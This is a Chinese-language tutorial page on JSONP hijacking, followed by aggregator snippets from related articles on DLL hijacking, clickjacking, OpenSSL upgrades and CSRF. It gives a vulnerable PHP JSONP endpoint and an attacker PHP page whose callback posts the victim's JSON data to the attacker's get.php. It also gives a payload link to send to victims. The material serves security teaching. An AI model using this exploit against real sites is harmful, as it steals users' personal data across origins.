JSONP 劫持漏洞

0x01 Jsonp简介:

Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP )呢?这是因为同源策略。

同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。


0x02 JSONP劫持漏洞实例

服务端getUser.php

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

攻击者

<?php

$url = $_GET['url'] ? $_GET['url'] : "http://www.aaa.com";
$callback = $_GET['c'] ? $_GET['c'] : "json";

$url = htmlspecialchars(addslashes($url));
$callback = htmlspecialchars(addslashes($callback));

$script = '<script src="https://www.chinacycc.com/template/js/jquery-2.2.4.min.js"></script>

<script>

function ccc(a){
    var info = JSON.stringify(a)
    $.post("./get.php", {
       info: info,
    },);
}

</script>

<script src="'. $url .'?'.$callback .'=ccc"></script>';
echo $script;

?>

攻击者构造了一个payload:

http://攻击者/jsonp/index.php?c=服务端的回调参数&url=http://服务端/getUser.php

然后将这个发送给受害者,当受害者一点击了,攻击者就能获取受害者相应的敏感信息

原文地址:https://www.cnblogs.com/zpchcbd/p/12081659.html

时间: 2024-10-09 15:57:52

JSONP 劫持漏洞的相关文章

理解jsonp劫持漏洞

JSONP劫持 存在漏洞的链接格式类似于以下这种: http://www.xxx.com/xxx.do?callback=info 参数名也常见有cb jsoncb call jsoncall cback等 分析jsonp原理 http://www.xxx.com/xxx.do 服务器伪代码: //获取callback的值 $name=$_GET["callback"]; //校验用户身份信息,从数据库获取用户信息 $result=查库并返回结果 //返回信息 $name+"

Dll劫持漏洞详解

  一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称"应用程序拓展",是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中.当我们执行某一个程序时,相应的DLL文件就会被调用.一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件. 如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Wi

Openssl FREAK 中间人劫持漏洞 - 解决方案

openssl升级步骤: 环境CentOS 1 wget http://www.openssl.org/source/openssl-1.0.2a.tar.gz 2 tar zxvf openssl-1.0.2a.tar.gz 3 cd openssl-1.0.2a 4 ./config --prefix=/usr/local/ssl 5 make && make install 6 mv /usr/bin/openssl /usr/bin/openssl.OFF 7 mv /usr/in

同源策略与JSONP劫持原理

同源策略 浏览器中有两个安全机制,一个浏览器沙盒(Sandbox),另一个就是同源策略(Same Origin Policy,简称SOP) ,下面介绍同源策略.同源是指同协议.同域名.同端口,必须三同,缺一不可.下面列举了一些例子,为方便读者了解哪些是属于同源,下面列举一些案例: 根据这个策略,a.com域名下的JavaScript无法跨域操作b.com域名下的对象.跨域的安全限制都是对浏览器端来说的,服务器端是不存在跨域安全限制的.如下流程图: 流程图1. 流程图2. 不同源也意味着不能通信,

无线路由器认证会话劫持漏洞

1.漏洞原理 在已经破解了WEP或者WPA-PSK连接加密成功后,下面才有效. 由于之前大量旧型号的路由器设计都采用HTTP身份验证机制,该机制使得处于内网的攻击者可以较容易地实现会话劫持攻击.若具备admin的会话已经存在于无线网络中,则由于认证过程在传输中是明文的缘故,其密码等都可以直接通过sniff来获得.若该admin会话处于有线网络连接中,则攻击者也可以使用ARP欺骗等方式来截获该管理密码. 目前,绝大数的路由器都支持基于web的登录方式,基于IP地址的认证被大部分Web认证使用,用于

点击劫持漏洞

0x01:什么是点击劫持 点击劫持是一种视觉上的欺骗手段,攻击者使用一个透明的.不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户在不知情的情况下点击了透明的iframe页面.通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上,攻击者常常配合社工手段完成攻击. 0x02 漏洞危害 攻击者精心构建的另一个置于原网页上面的透明页面.其他访客在用户毫不知情的情况下点击攻击者的页面从而完成攻击.具体危害取决Web应用. 0x03 POC

分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

最近jsonp很火,实话说已经是被玩烂了的,只是一直没有受到大家的重视.正好在上个月,我挖过一个由于jsonp造成的新浪某社区CSRF,当时是为了准备一篇文章,之后这篇文章也会拿出来分享. 因为新浪已经修复了问题,所以我先把这个漏洞分享出来.以下是当时写的部分文章. 0x01 引子 听说新浪五月送衣服,我其实也没太多空去挖洞.本来想交一个两年前挖的CSRF刷粉,结果拿出来一看那洞早没了,目标站都换了. 详细说,就是我那个洞被302跳转到新浪股吧(http://guba.sina.com.cn/)

(转)GET来的漏洞

转自呆子不开口在wooyun知识库的文章 0x00 前言 这篇文章主要讲目前互联网上get方法被不规范使用带来的一些安全漏洞.其中重点会讲get请求在账号登陆体系中被滥用的场景和攻击方式. 0x01 Get方法的定义 在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST GET - 从指定的资源请求数据 POST - 向指定的资源提交要被处理的数据 GET 方法的查询字符串是在 GET 请求的 URL 中发送的,常见的场景是地址栏请求和超链接. 0x02 Get请求

浅谈跨域劫持

本篇文章主要讲解一下跨域攻击: Jsonp劫持 Flash跨域劫持 CORS跨域资源获取 Jsonp劫持 Jsonp在2016年就出现了,由于造成危害大多就是泄露敏感信息,比如用户信息,token等,远不如SQL注入,命令执行这些漏洞来的彻底,所以总是被人忽视.Jsonp劫持攻击又称为 "JSON Hijacking",攻击过程类似于csrf,只不过csrf只管发送http请求,但是Json-hijack的目的是获取敏感数据. 而Jsonp(JSON with Padding)是jso